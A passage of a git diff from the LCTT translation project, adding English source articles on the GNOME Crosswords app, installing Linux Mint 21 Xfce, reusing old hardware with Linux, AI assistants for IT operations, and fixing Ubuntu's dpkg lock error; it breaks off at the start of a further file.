Desktop With this Brand New GNOME App +====== +I suck at word games. + +Scrabble, spelling bees, and crosswords are certainly not my cup of tea. + +But I know people who are crazy about these games. People who like to spend their tea time solving crossword puzzles. + +You’ll love this new GNOME app if you are one of those [cruciverbalists][1]. + +### Crosswords: GNOME app for solving crossword puzzles + +As reported by [LWN][2], longtime GNOME contributor Jonathan Blandford is developing a new crossword puzzle game for Linux users. It’s called Crosswords, no surprises there. + +There are a few puzzles provided by the game. In addition to that, you can download and play puzzles from popular news outlets like Atlantic, Guardian, etc. You can also open .ipuz and .puz files to play the puzzles you have downloaded or created. + +![crosswords interface][3] + +When you choose the puzzles from a news outlet, Crosswords downloads the puzzle for the current day. + +![Crossword puzzles from The Atlantic][4] + +While there is no scope for downloading the puzzles for the days in the past, your downloaded puzzles are saved in the game, and you can revisit them anytime. + +![Downloaded puzzles are saved for each outlet][5] + +So, all you have to do is download the crossword puzzles daily. You can visit them later if you don’t get time to play it the same day. + +Do note that puzzles may not be downloaded for all the outlets. It showed me an error when I tried downloading from The New Yorker. + +![Crosswords may not be able to download puzzles all the time][6] + +If you are stuck, you can take hints or show incorrect guesses. The ? in the top menu gives you a few options in that regard. + +![Hints are also available][7] + +Your games are saved automatically. You can close the game and resume playing it whenever you get time. + +Sounds promising? Let’s see how you can install it in your Linux distribution. + +### Installing Crosswords + +**The application is under development and you may notice a few issues**. For some reason, the application interface prefers the portrait mode. When I resized the application window, hitting the back button to select some other puzzle made the interface switch to vertical, portrait mode. + +If you can get past this annoyance, you can enjoy Crosswords. + +It is available in Flatpak packing format. If your [distribution has Flatpak support enabled][8], you can install it using the following commands. + +Add the Flathub repository first. + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +Install the package now. + +``` +flatpak install flathub org.gnome.Crosswords +``` + +![crosswords installed linux][9] + +Once installed, you can look for the game in the menu and start it. + +![crossword puzzle game linux][10] + +#### Removing Crosswords + +If you don’t like Crosswords, you can remove it from your system using the following command: + +``` +flatpak uninstall org.gnome.Crosswords +``` + +Press Y when you are asked to confirm. + +![Removing Crosswords][11] + +### Conclusion + +There are plenty of puzzle and board games available for Linux users. [Wordle][12], [2048][13], Sudoku, Mahjong, or even the classic Solitaire game are there for you when you want to kill some time to exercise your brain. + +Tiny games like these do not require heavy graphics and system resources. It’s good to see one more addition to the list of such games. + +If you try Crosswords, don’t forget to share your experience in the comment section. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/crosswords/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://www.dictionary.com/browse/cruciverbalist +[2]: https://lwn.net/Articles/903475/ +[3]: https://itsfoss.com/wp-content/uploads/2022/08/crosswords-interface.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/daily-corssword-puzzle.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/downloaded-puzzles-crosswords.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/problem-downloading-crossword-puzzle-from-new-yorker.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/hints-crosswords.png +[8]: https://itsfoss.com/flatpak-guide/ +[9]: https://itsfoss.com/wp-content/uploads/2022/08/crosswords-installed-linux.png +[10]: https://itsfoss.com/wp-content/uploads/2022/08/crossword-puzzle-game-linux.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/uninstall-crosswords.png +[12]: https://itsfoss.com/wordle-game-linux/ +[13]: https://itsfoss.com/2048-game/ diff --git a/sources/tech/20220804 How to Install Linux Mint 21 Xfce Edition Step-by-Step.md b/sources/tech/20220804 How to Install Linux Mint 21 Xfce Edition Step-by-Step.md new file mode 100644 index 0000000000..c95603a78a --- /dev/null +++ b/sources/tech/20220804 How to Install Linux Mint 21 Xfce Edition Step-by-Step.md @@ -0,0 +1,224 @@ +[#]: subject: "How to Install Linux Mint 21 Xfce Edition Step-by-Step" +[#]: via: "https://www.linuxtechi.com/how-to-install-linux-mint-21-xfce-edition/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Install Linux Mint 21 Xfce Edition Step-by-Step +====== +Are you looking for an easy guide for Linux Mint 21 Installation? + +The step-by-step guide on this page will show you how to install Linux Mint 21 Xfce Edition along with screenshots. + +The much-awaited Linux Mint 21 operating system has been released, this is a LTS release (Long Term Support) and will get support and updates until 2027. Vanessa is the code name for Linux Mint 21, it is based on Ubuntu 22.04 and comes with three different desktop environments like Cinnamon, Mate and Xfce. + +##### Linux Mint 21 Features & Updates + +* New Linux Kernel 5.15 +* Introduction of Blueman for connecting Bluetooth devices +* Improved Thumbnails +* Artwork Improvements +* Sticky notes support duplicate notes +* Timeshift is maintained as XApp. + +##### System Requirements for Linux Mint 21 + +* 2 GB RAM or more +* 20 GB free hard disk space or more +* 64-bit Dual core processor or more +* Bootable Media (USB Stick) +* Internet Connectivity (Optional) + +Without any further delay, let’s jump into Linux Mint 21 Xfce Edition installation steps. + +### Step 1) Download Linux Mint 21 Xfce Edition ISO file + +Use the following official web portal to download ISO file. + +* [Download Linux Mint 21 Xfce Edition][1] + +Once ISO file is downloaded, make a bootable USB stick using the ISO file. On Linux desktop use following to create bootable USB, + +* [How to Create Bootable USB Drive on Ubuntu / Linux Mint][2] + +On windows system, use Rufus software to make bootable USB using ISO file. + +### Step 2) Boot System using Bootable USB Stick + +Reboot the system on which you want to install Linux Mint 21, change the boot medium from hard disk to USB from it’s bios settings. + +When the system boots up with bootable USB stick, we will get following beneath screen. + +![Choose-Option-Start-LinuxMint21-Xfce][3] + +Select the first option ‘Start Linux Mint 21 Xfce 64-bit’ and press enter then we will be presented the following screen, + +![Double-click-on-Install-LinuxMint][4] + +Double Click on ‘Install Linux Mint’ + +### Step 3) Choose Language for Installation + +Choose your preferred language and click Continue + +![Language-Selection-for-LinuxMint21-Installation][5] + +### Step 4) Select Keyboard Layout + +Select the keyboard layout as per your setup and then click on Continue + +![Select-Keyboard-Layout-LinuxMint21-Installation][6] + +### Step 5) Install Multimedia Codecs + +This step is optional if you want to install multimedia codecs and system is connected to internet then click on the checkbox, else you can skip it. + +![Install-Multimedia-codecs-LinuxMint21-Installation][7] + +Click on Continue to proceed further + +### Step 6) Choose Installation Type + +On this step, you are required to choose the installation type, basically there are two types, + +* Erase disk and Install Linux Mint: In this type, installer will erase all the data on disk and will create partitions automatically for you. +* Something else: Using this, we can create manual partitions as per our need. + +![Something-Else-Installation-type-Linux-Mint21][8] + +In this guide, we will go with something else option and will create following partitions on 40 GB hard disk. + +* /boot      : 2 GB (xfs file system) +* /              : 10 GB (xfs file system) +* /home     : 25 GB (xfs file system) +* Swap       : 2 GB + +Before start creating partitions, first create a partition table, + +![New-Partition-Table-Linux-Mint21-Installation][9] + +First click on ‘New Partition Table’ and then click Continue + +Now start creating first partition as /boot, select the free space and then click on ‘+’ symbol. + +![Boot-Partition-During-Linux-Mint21-Installation][10] + +Click on OK to finish /boot partition creation. + +In the same way, create next two partitions / and /home of 10G and 25G respectively. + +![mSlash-Partition-During-LinuxMint21-Installation][11] + +![Home-Partition-During-LinuxMint21-Installation][12] + +Create Swap partition of size 2G + +![Swap-Partition-LinuxMint21-Installation][13] + +Click on Ok, + +Note : When you are using UEFI mode then you must create following two additional partitions: + +* EFI System Partition: 100 – 550 MB +* Reserved BIOS Boot Area: 1 MB (This is used to store bootloader code) + +![EFI-System-Partition-Linux-Mint21-Installation][14] + +![Reserved-Bios-Boot-Area-Linux-Mint21-Installation][15] + +Click on OK. + +Once you are done with manual partitions then click on ‘Install Now’ + +![Click-On-Install-Now-Option-Linux-Mint21-Installation][16] + +Click Continue to write changes to disk and to proceed further with installation. + +![Write-changes-to-Disk-Linux-Mint21-Installation][17] + +### Step 7) Choose Your Preferred Timezone + +As per geographical location of your system choose the location and click continue + +![Geographical-Location-Linux-Mint21-Installation][18] + +### Step 8) Enter Local User Details + +In this step, you are requested to enter local user details along with hostname of your system. So, fill in the details as per requirements, + +![Enter-Local-User-Details-LinuxMint21-Installation][19] + +Click Continue to begin the actual installation. + +### Step 8) Linux Mint 21 Installation Started + +As we can see that Linux Mint 21 installation is started and is in progress, + +![Linux-Mint21-Installation-Progress][20] + +Once the installation is completed then installer will instruct you to reboot the system. + +![Restart-Post-Linux-Mint21-Installation][21] + +Click on “Restart Now” + +Note : During the reboot don’t forget to change boot medium from USB to hard disk via bios settings. + +### Step 9) Login Screen and Desktop Environment + +When the system rebooted post installation then we will get following login screen. Use the same user credentials that you have created during the installation. + +![Linux-Mint21-Login-Screen-Post-Installation][22] + +After entering the credentials, following desktop environment screen will appear, + +![Desktop-screen-Linux-Mint21][23] + +Open the terminal and run neofetch command to verify the installation. + +![Neofetch-Command-Verify-Linux-Mint21-Installation][24] + +Great, above output confirms that we have successfully installed Linux Mint 21 Xfce Edition. + +That’s all from this guide, kindly post your queries and feedback in below comments section. + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-linux-mint-21-xfce-edition/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://linuxmint.com/download.php +[2]: https://www.linuxtechi.com/create-bootable-usb-disk-dvd-ubuntu-linux-mint/ +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Choose-Option-Start-LinuxMint21-Xfce.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Double-click-on-Install-LinuxMint.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Language-Selection-for-LinuxMint21-Installation.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Select-Keyboard-Layout-LinuxMint21-Installation.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Install-Multimedia-codecs-LinuxMint21-Installation.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Something-Else-Installation-type-Linux-Mint21.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/08/New-Partition-Table-Linux-Mint21-Installation.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Boot-Partition-During-Linux-Mint21-Installation.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Slash-Partition-During-LinuxMint21-Installation.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Home-Partition-During-LinuxMint21-Installation.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Swap-Partition-LinuxMint21-Installation.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/08/EFI-System-Partition-Linux-Mint21-Installation.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Reserved-Bios-Boot-Area-Linux-Mint21-Installation.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Click-On-Install-Now-Option-Linux-Mint21-Installation.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Write-changes-to-Disk-Linux-Mint21-Installation.png +[18]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Geographical-Location-Linux-Mint21-Installation.png +[19]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Enter-Local-User-Details-LinuxMint21-Installation.png +[20]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Linux-Mint21-Installation-Progress.png +[21]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Restart-Post-Linux-Mint21-Installation.png +[22]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Linux-Mint21-Login-Screen-Post-Installation.png +[23]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Desktop-screen-Linux-Mint21.png +[24]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Neofetch-Command-Verify-Linux-Mint21-Installation.png diff --git a/sources/tech/20220804 Lengthen the life of your hardware with Linux.md b/sources/tech/20220804 Lengthen the life of your hardware with Linux.md new file mode 100644 index 0000000000..5d938dc594 --- /dev/null +++ b/sources/tech/20220804 Lengthen the life of your hardware with Linux.md @@ -0,0 +1,64 @@ +[#]: subject: "Lengthen the life of your hardware with Linux" +[#]: via: "https://opensource.com/article/22/8/lengthen-hardware-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Lengthen the life of your hardware with Linux +====== +Keep hardware out of landfills by using an operating system that stretches the usable life of your devices. + +![How Linux became my job][1] + +Image by: Opensource.com + +Sustainability is an increasingly important problem when it comes to computing. Reduce, reuse, recycle is a popular motto for environmentally responsible consumption, but applying that to your computer hardware can be challenging. + +Many proprietary operating systems essentially force a hardware upgrade upon you long before your old hardware is used up. If you own a computer with Windows, you've probably needed to purchase a new one to upgrade because your old one didn't meet the hardware requirements of the latest OS. Apple doesn't do any better, either. A MacBook Air I owned was essentially rendered obsolete by an upgrade to macOS Mojave in 2019. + +By contrast, I run Linux on my three-and-a-half-year-old laptop, and it still runs like new. Because the Linux kernel is more efficient with resources than either Windows or macOS, it can run successfully on older hardware. I've never been forced to purchase new hardware in order to upgrade Linux. + +The advantage of Linux is that it is free and open source. With a few notable exceptions, most Linux distributions are available free of charge, and they are not the product of a large technology company with profit in mind. Even businesses that offer Linux products know that profitability doesn't lie in selling software and forcing updates but in stellar support of what their customers are trying to do with that software. + +Simply put, Linux is the best bet for a [sustainable operating system][2]. + +### Making Linux accessible + +There was a time when Linux users were required to be more technologically savvy than the average computer user, but those days are a thing of the past. Most Linux distributions are as plug-and-play as their proprietary counterparts. Better yet, computers that are 10 or more years old can easily run any of the popular Linux distributions without modification. Instead of defining a computer's lifespan with the arbitrary benchmark of operating system support, you can measure it instead by the life of the hardware itself. That's how it should be. Hardware, like everything else, eventually fails, but software we can control. + +This improved sustainability doesn't impede my workflow, either. I have access to a wide range of free and open source software and cloud-based systems that afford me ample opportunities to be creative while keeping my aging hardware out of the landfill. + +### Reuse hardware, reduce electronic waste + +When deciding to refurbish an older computer, first [determine how it will be used][3]. You don't need lots of processing power if you are just surfing the web and writing with a word processor. But if you are working from home and using your computer for [video conferencing][4] with Jitsi or one of the proprietary solutions, you will need more RAM and processing power. In that case, I suggest (based on what's available in 2022) looking for an Intel i5 or AMD Ryzen 5 with at least 8 GB of RAM. + +I put this concept to the test with that old MacBook Air I mentioned earlier. That system was given new life when [I installed Linux][5] in January 2020. + +### Hardware purchases + +If you're not refurbishing and just need a computer, using Linux frees you from purchasing the latest hardware. It's easy to find serviceable laptops and desktops on [FreeGeek][6] and elsewhere that provide good hosts for Linux distributions. If you buy a computer from FreeGeek, it comes with Linux preinstalled and tested, and you're contributing to a community whose mission is "to sustainably reuse technology, enable digital access, and provide education to create a community that empowers people to realize their potential." + +However you get to Linux, it's well worth learning and supporting. It's a sustainable OS that puts you in control of your data, your purchases, and the way you affect the environment. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/lengthen-hardware-linux + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/linux_penguin_green.png +[2]: https://opensource.com/article/22/1/linux-sustainable-os +[3]: https://opensource.com/article/20/8/linux-laptop-video-conferencing +[4]: https://opensource.com/article/20/5/open-source-video-conferencing +[5]: https://opensource.com/article/20/2/macbook-linux-elementary +[6]: https://opensource.com/article/21/4/linux-free-geek diff --git a/sources/tech/20220805 Keep IT Services Up and Running with AI Based Digital Assistants.md b/sources/tech/20220805 Keep IT Services Up and Running with AI Based Digital Assistants.md new file mode 100644 index 0000000000..7d83b0659d --- /dev/null +++ b/sources/tech/20220805 Keep IT Services Up and Running with AI Based Digital Assistants.md @@ -0,0 +1,178 @@ +[#]: subject: "Keep IT Services Up and Running with AI Based Digital Assistants" +[#]: via: "https://www.opensourceforu.com/2022/08/keep-it-services-up-and-running-with-ai-based-digital-assistants/" +[#]: author: "K. Narasimha Sekhar https://www.opensourceforu.com/author/k-narasimha-sekhar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Keep IT Services Up and Running with AI Based Digital Assistants +====== +*There are many ways AI based digital assistants help in IT operations. Traditionally, they have been deployed to improve helpdesk services. Today you can use them to reduce the mean time to repair (MTTR) of an IT service.* + +enterprises deploy many IT services such as microservices, line of business services, virtual desktop services, and database services for their customers, business groups and employees. In case critical IT services break down, there is a huge negative impact in terms of enterprise revenue, and loss of productivity and reputation. Many of these services are hosted in the enterprise data centre, and can go down due to infrastructure, process, or human failures. Even in the case of public cloud hosting, enterprise integration is a weak link in the chain. + +### Need of the hour + +When a critical IT service is down, IT teams are under enormous pressure to restore it as quickly as possible. Faster root cause analysis is the need of the hour. Teams from various verticals — infrastructure, security, network, storage, and other relevant teams — get into the war room to find the root cause. Tons of logs, event sources, and traces are collected. It is a humongous task for the team to analyse huge data in a short time under panic conditions. Teams need reliable, intelligent, and faster tools to analyse data and provide dependable conclusions. Artificial intelligence based assistants can help in this situation. + +Table 1 lists the typical questions teams need to answer during root cause analysis of IT operations after a critical service becomes unavailable. + +### AI powered digital assistants + +A digital assistant, also called virtual assistant, is an application program that understands natural language voice or chat commands and completes tasks for the user. In the context of root cause analysis or IT operations, the tasks are complex. To execute these tasks, virtual assistants adopt artificial intelligence. + +Administrators, instead of logging in to individual layer consoles, pulling data manually and analysing it, can take the help of digital assistants. These assistants can do all the heavy lifting for IT staff. They assist in accelerating the process, thereby reducing mean time to repair (MTTR). + +Typically, virtual assistants can do the following: + +* On-demand interaction +* Context-driven recommendation +* Automated task execution +* Real-time reporting +* Pull the requested data quickly from multiple sources +* Remove noise and highlight contextual information +* Apply AI algorithms to find required results +* Search for anomaly patterns in huge data +* Correlate events from multiple sources to find relations and cumulative issues +* Enable automation at scale +* Run audit scripts and eliminate false negatives +* Analyse time series data for variations +* Analyse segment failures + +AI based digital assistants can improve regular IT operations as well. They can: + +* Estimate future capacity requirements based on current trends +* Enable automated rolling updates and roll-backs +* Automate mundane admin tasks +* Find anomalies + +| IT phase | Inquiries/Functions/Operations | +| :- | :- | +| Root cause analysis | What is the scope and impact of the issue? +Is the issue specific to one client, group of clients, entire site, or many locations? +Is there any common pattern with respect to the failed devices? +Are there any X, Y, Z events recorded in server logs? +How is the storage performance while users face performance degradation? +Are there any suspicious patterns in CPU, RAM, resource utilisation time series data, etc? +Were there any patches applied on any component in the past 24 hours? +Did new firewall configurations block critical ports? +How many connection failures were there in west region sites? +When X event occurred in component N, what was the database response time? | +| Regular IT operations | Create an upgrade schedule for all regions. +Where should I host the new desktop/app among the available 20 host servers? +How many extra servers are needed in the next quarter? +I am starting patching, informing active users, and sending reminders till they log off. +Detect anomalies. +With API driven interfaces, trigger external tasks like creating a helpdesk ticket, without manual intervention. +Create a management report. | + +* What is the scope and impact of the issue? +* Is the issue specific to one client, group of clients, entire site, or many locations? +* Is there any common pattern with respect to the failed devices? +* Are there any X, Y, Z events recorded in server logs? +* How is the storage performance while users face performance degradation? +* Are there any suspicious patterns in CPU, RAM, resource utilisation time series data, etc? +* Were there any patches applied on any component in the past 24 hours? +* Did new firewall configurations block critical ports? +* How many connection failures were there in west region sites? +* When X event occurred in component N, what was the database response time? + +* Create an upgrade schedule for all regions. +* Where should I host the new desktop/app among the available 20 host servers? +* How many extra servers are needed in the next quarter? +* I am starting patching, informing active users, and sending reminders till they log off. +* Detect anomalies. +* With API driven interfaces, trigger external tasks like creating a helpdesk ticket, without manual intervention. +* Create a management report. + +Table 1 + +### Architecture layers + +Figure 1 shows the blueprint of a typical digital assistant. + +Teams can give commands or query the virtual assistant by voice. The non-linguistic platforms available today are mature enough to understand user utterances and translate them into meaningful intents. A conversational engine can be built with advanced cognitive computing technology that allows virtual assistants to understand and carry out multi-step requests. + +The AI layer is the core part. It understands the intent and structures, and triggers the workflow to capture the required data. It applies suitable AI algorithms to analyse the data, the results of which are communicated back to the user. + +![Figure 1: Digital assistant layers][1] + +IT services are complex and composed of many heterogeneous components. To integrate with these components, virtual assistants must implement different types of interfaces. The widely used interfaces are PowerShell, REST, OData, SQL, SNMP, etc. + +| Inquiry | AI algorithms in scope | +| :- | :- | +| Translate utterances to intents (Conversational engine) | NLP | +| When X event occurred in server N, how was the dependant storage service performance? | Log, event analysis | +| Data stream analysis | Statistical analysis | +| Identify causes of issues by calculating highest probability of the issue occurring | Bayesian algorithm | +| Prioritise root cause options | Bayesian algorithm | +| Find anomaly patterns in resource utilisation | Time series analysis (e.g.,ARIMA) | +| Classify issues | Text analysis | +| Find out optimal resource groups | Segmentation (e.g.,K-Means) | +| IT operations accelerators | Automation | + +Table 2 + +Table 2 summarises the AI algorithms that are suitable for responding to typical inquiries that get triggered during a typical IT service root cause analysis and IT operations. The AI algorithms mentioned are indicative. There are a lot of algorithms available in each segment. We need to choose the right algorithm based on context. A detailed explanation of AI algorithms is beyond the scope of this article. Tons of reference literature is available publicly about AI algorithms. + +![Figure 2: Digital assistant for virtual desktop service][2] + +Figure 2 gives an illustration of how to build a digital assistant for a virtual desktop service. This service consists of many layers, and each one has different types of interfaces. Digital assistants should implement interfaces to interact with all these layers. + +### Advanced auto-heal AI assistant + +Digital assistants can be extended to detect, analyse and auto-heal issues arising during regular operations. In this case no human interaction is needed. Figure 3 shows logical layers of the auto-heal assistant. We need to use many AI algorithms to analyse the issues and trigger correct resolutions. We can make use of neural networks to learn and adapt to dynamic changes. + +![Figure 3: Logical design of an auto-heal assistant][3] + +*State/Condition:* This part defines the rule. The rule is evaluated and if the condition is true, then the state is generated. State can be evaluated when a condition occurs, and is checked on a periodic basis. For example, when an application or system event occurs, then it will be evaluated. If the condition is evaluated as true, the state is processed. In another case, the performance metrics are checked on a periodic basis (for example, once in a minute), the condition is evaluated and state is generated based on the result. + +*Action:* This part defines what action is to be taken in case the trigger occurs. Typically, these are remedial actions (such as restarting a service, increasing resource allocation, etc) to rectify an issue and heal it automatically without human intervention. In case self-healing is not available or it fails, then the administrator can be notified and the service tickets raised automatically. + +| Function | Open source modules | Cloud native deployments | +| :- | :- | :- | +| Chatbot, NLP engine | ChatSDK, +ChatterBot, NTLK | Azure BOT Service, Amazon Lex, Alexa | +| Automation | Ansible, Python, +PowerShell scripts | Serverless functions | +| Visualisation | D3.js, Grafana | Power BI | +| Tracing, Dependency analysis | Jaeger | Azure Monitor, AWS CloudWatch | +| Telemetry | Prometheus, Istio | Azure Monitor, AWS CloudWatch | +| Security | Python libraries | AWS Security Hub, Azure Sentinel, Security Center | +| Infrastructure automation | Ansible, Terraform, Jenkins, Chef, Selenium | ARM, Cloud Foundation | +| AIOPs | Seldon, Logilizer, Aiopstools, Whylogs | Vendor SaaS services | + +Table 3 + +### Challenges + +There are multiple challenges teams can face in implementing and deploying AI based virtual assistants. + +Cost could be a major factor. There are many commercial tools available in the market, but they are expensive. Additionally, we need to buy plugins to interface with enterprise systems. One commercial tool may not be sufficient. For small- and medium-sized companies this cost can be a challenge. Open source modules, and customised orchestration engines suitable for specific enterprise needs, can help reduce these costs. Table 3 lists the recommended open source modules for on-premises deployments. In case of public cloud deployments, we can consider utilising native SaaS services from the cloud provider. + +Integrating virtual assistants into your existing systems and applications can be a challenge as some level of in-house development effort is required. Home-grown scripts need to be maintained and updated as and when systems change. The return on investment of these efforts is high and justifiable. + +Overcoming resistance can be another challenge. Team members may think AI can pose a risk to their jobs. But AI is all about relieving employees of repetitive work and freeing them up to be more creative and perform to their real potential. + +The reasons for each IT service failure can be unique and root cause analysis might yield unexpected results. AI assistants help to analyse data systematically, learn from earlier failures and provide a quick resolution. They help in accelerating root cause analysis and restoring IT services that fail. In addition, these assistants help to fast-track IT admin operations with less manual intervention. Small companies can use open source platforms to build AI digital assistants. + +*Disclaimer:* *The views expressed in this article are that of the author and Wipro does not subscribe to the substance, veracity or truthfulness of the said opinion.* + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/keep-it-services-up-and-running-with-ai-based-digital-assistants/ + +作者:[K. Narasimha Sekhar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/k-narasimha-sekhar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1-Digital-assistant.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-Digital-assistant-for-virtual-desktop-service.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-3-Logical-design-of-an-auto-heal-assistant.jpg diff --git a/sources/tech/20220806 Fixing Could not get lock -var-lib-dpkg-lock Error in Ubuntu.md b/sources/tech/20220806 Fixing Could not get lock -var-lib-dpkg-lock Error in Ubuntu.md new file mode 100644 index 0000000000..a78da5dde7 --- /dev/null +++ b/sources/tech/20220806 Fixing Could not get lock -var-lib-dpkg-lock Error in Ubuntu.md @@ -0,0 +1,131 @@ +[#]: subject: "Fixing Could not get lock /var/lib/dpkg/lock Error in Ubuntu" +[#]: via: "https://www.debugpoint.com/could-not-get-lock/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Fixing Could not get lock /var/lib/dpkg/lock Error in Ubuntu +====== +We explain some steps and methods by which you can quickly fix the Could not get lock /var/lib/dpkg/lock error, which is common in Ubuntu Linux. + +![][0] + +### The Backstory + +It happens more than you can imagine. One fine morning you boot up your shiny Ubuntu Linux and try to install something or upgrade your system. And you run into this error – `"Could not get lock /var/lib/dpkg/lock ....".` + +Reason? The reason is simple and happens with the “[Advanced Package Tool (apt)][1]“. The apt package tool is busy doing other operations while you asked it to do something. When apt does some package operation, it creates a lock file to prevent this scenario. As per OS principle, a critical resource should be locked while performing system upgrades/updates so that no other process can access it. This is to prevent any unwanted system behaviour. + +There are several variations of this error. But the root cause is the same what I described above. + +Here are some of the errors. + +### Some Sample Errors + +``` +E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable) E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it? +``` + +``` +Waiting for cache lock: Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 10162 (unattended-upgr) +``` + +``` +E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)E: Unable to lock directory /var/lib/apt/lists/ +``` + +![Sample Could Not Get Lock Error][2] + +### How to Fix: Could not get lock Error + +#### Method 1 (recommended) + +The safest and recommended way to fix this is to wait. Since the apt is running in the background, it’s better you wait for a few minutes. And then, you can try to perform the operation. Most of the time, it resolves the issue by letting the system take care of it. + +#### Method 2 + +The second method is to remove the lock file manually. This requires admin privileges. Open a terminal prompt and run the following command to clear the lock. + +After you run the command, try to perform the operation which caused the error. And you should be fine. + +``` +sudo rm -f /var/lib/dpkg/lock +``` + +#### Method 3 + +The third method is to manually find the process ID of apt, holding the lock and terminate it. + +You can filter all the processes which have apt using the command below. + +``` +ps aux | grep apt +``` + +![process id and process list for apt][3] + +Once you do that, you can get the process ID (2nd column in the above image) and kill it using the following sample command. + +``` +kill -9 processnumber +``` + +#### Method 4 + +The fourth method is to disable the daily auto update check timer [systemd][4] service to try your operation. To do that, open a terminal and disable the service using the following command. + +``` +sudo systemctl stop apt-daily.timer +``` + +Now, reboot the system and try your operation. If you are all set and the error is gone, you can enable the timer service again using the following command. And you should be all set. + +``` +sudo systemctl start apt-daily.timer +``` + +#### Method 5 + +The final method is specific to additional errors which come with apt lock file. + +If the error contains a line like – “E: Unable to lock directory /var/lib/apt/lists/”, then try the following command. + +``` +sudo rm /var/lib/apt/lists/* -vf +``` + +Finally, if nothing works, try cleaning the apt archive lock using the following command. + +``` +sudo rm -f /var/cache/apt/archives/lock +``` + +So, that’s all. + +### Wrapping Up + +In this article, I have explained various ways to resolve this typical error in Ubuntu Linux and related distributions. I am sure any one of the methods should work for you. + +Do let me know in the comment box which command worked out for you for the benefit of others. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/could-not-get-lock/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[0]: https://www.debugpoint.com/wp-content/uploads/2022/08/could-not-head.jpg +[1]: https://wiki.debian.org/Apt +[2]: https://www.debugpoint.com/wp-content/uploads/2022/08/Sample-Could-Not-Get-Lock-Error-1024x547.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2018/07/ps-aux.png +[4]: https://www.debugpoint.com/tag/systemd/ diff --git a/sources/tech/20220806 Old-school technical writing with groff.md b/sources/tech/20220806 Old-school technical writing with groff.md new file mode 100644 index 